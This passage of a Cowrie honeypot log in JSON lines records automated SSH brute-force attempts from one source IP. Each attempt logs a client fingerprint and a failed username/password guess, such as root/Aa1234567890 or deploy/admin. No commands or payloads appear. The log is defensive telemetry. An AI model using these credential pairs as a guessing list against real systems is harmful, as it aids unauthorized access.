{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:57.541941Z","src_ip":"45.156.87.254","session":"cc20e82299f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:57.904430Z","src_ip":"45.156.87.254","session":"cc20e82299f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:20:59.085479Z","src_ip":"45.156.87.254","session":"cc20e82299f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":37692,"dst_ip":"159.203.135.109","dst_port":22,"session":"00e8bfe9fec0","protocol":"ssh","message":"New connection: 45.156.87.254:37692 (159.203.135.109:22) [session: 00e8bfe9fec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:02.594574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:02.616965Z","src_ip":"45.156.87.254","session":"00e8bfe9fec0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:02.684126Z","src_ip":"45.156.87.254","session":"00e8bfe9fec0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:03.145876Z","src_ip":"45.156.87.254","session":"00e8bfe9fec0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:04.232681Z","src_ip":"45.156.87.254","session":"00e8bfe9fec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":37702,"dst_ip":"159.203.135.109","dst_port":22,"session":"15d91ca3e045","protocol":"ssh","message":"New connection: 45.156.87.254:37702 (159.203.135.109:22) [session: 15d91ca3e045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:07.430092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:07.434829Z","src_ip":"45.156.87.254","session":"15d91ca3e045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:07.519572Z","src_ip":"45.156.87.254","session":"15d91ca3e045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:07.774424Z","src_ip":"45.156.87.254","session":"15d91ca3e045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:08.862222Z","src_ip":"45.156.87.254","session":"15d91ca3e045","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38210,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc719c65a6a6","protocol":"ssh","message":"New connection: 45.156.87.254:38210 (159.203.135.109:22) [session: cc719c65a6a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:11.993273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:12.020699Z","src_ip":"45.156.87.254","session":"cc719c65a6a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:12.097549Z","src_ip":"45.156.87.254","session":"cc719c65a6a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@1234","message":"login attempt [ubuntu/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:12.420886Z","src_ip":"45.156.87.254","session":"cc719c65a6a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:13.526626Z","src_ip":"45.156.87.254","session":"cc719c65a6a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38222,"dst_ip":"159.203.135.109","dst_port":22,"session":"a26cea964c64","protocol":"ssh","message":"New connection: 45.156.87.254:38222 (159.203.135.109:22) [session: a26cea964c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:16.333075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:16.385742Z","src_ip":"45.156.87.254","session":"a26cea964c64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:16.610820Z","src_ip":"45.156.87.254","session":"a26cea964c64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:16.899412Z","src_ip":"45.156.87.254","session":"a26cea964c64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:17.998132Z","src_ip":"45.156.87.254","session":"a26cea964c64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":33912,"dst_ip":"159.203.135.109","dst_port":22,"session":"dee053d12f3a","protocol":"ssh","message":"New connection: 45.156.87.254:33912 (159.203.135.109:22) [session: dee053d12f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:21.056744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:21.062255Z","src_ip":"45.156.87.254","session":"dee053d12f3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:21.235060Z","src_ip":"45.156.87.254","session":"dee053d12f3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:21.607060Z","src_ip":"45.156.87.254","session":"dee053d12f3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:22.695026Z","src_ip":"45.156.87.254","session":"dee053d12f3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":33918,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf28c7a13cfd","protocol":"ssh","message":"New connection: 45.156.87.254:33918 (159.203.135.109:22) [session: cf28c7a13cfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:25.885880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:25.890645Z","src_ip":"45.156.87.254","session":"cf28c7a13cfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:25.974354Z","src_ip":"45.156.87.254","session":"cf28c7a13cfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:26.474666Z","src_ip":"45.156.87.254","session":"cf28c7a13cfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:27.567608Z","src_ip":"45.156.87.254","session":"cf28c7a13cfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42424,"dst_ip":"159.203.135.109","dst_port":22,"session":"312b12947e2f","protocol":"ssh","message":"New connection: 45.156.87.254:42424 (159.203.135.109:22) [session: 312b12947e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:31.128644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:31.227701Z","src_ip":"45.156.87.254","session":"312b12947e2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:31.231699Z","src_ip":"45.156.87.254","session":"312b12947e2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:31.575089Z","src_ip":"45.156.87.254","session":"312b12947e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:32.671722Z","src_ip":"45.156.87.254","session":"312b12947e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.75463581085205,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:36.025544Z","src_ip":"20.123.41.163","session":"d81ff1f57c5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42430,"dst_ip":"159.203.135.109","dst_port":22,"session":"97abb2ce626a","protocol":"ssh","message":"New connection: 45.156.87.254:42430 (159.203.135.109:22) [session: 97abb2ce626a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:36.936869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:21:36.943647Z","src_ip":"45.156.87.254","session":"97abb2ce626a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","ae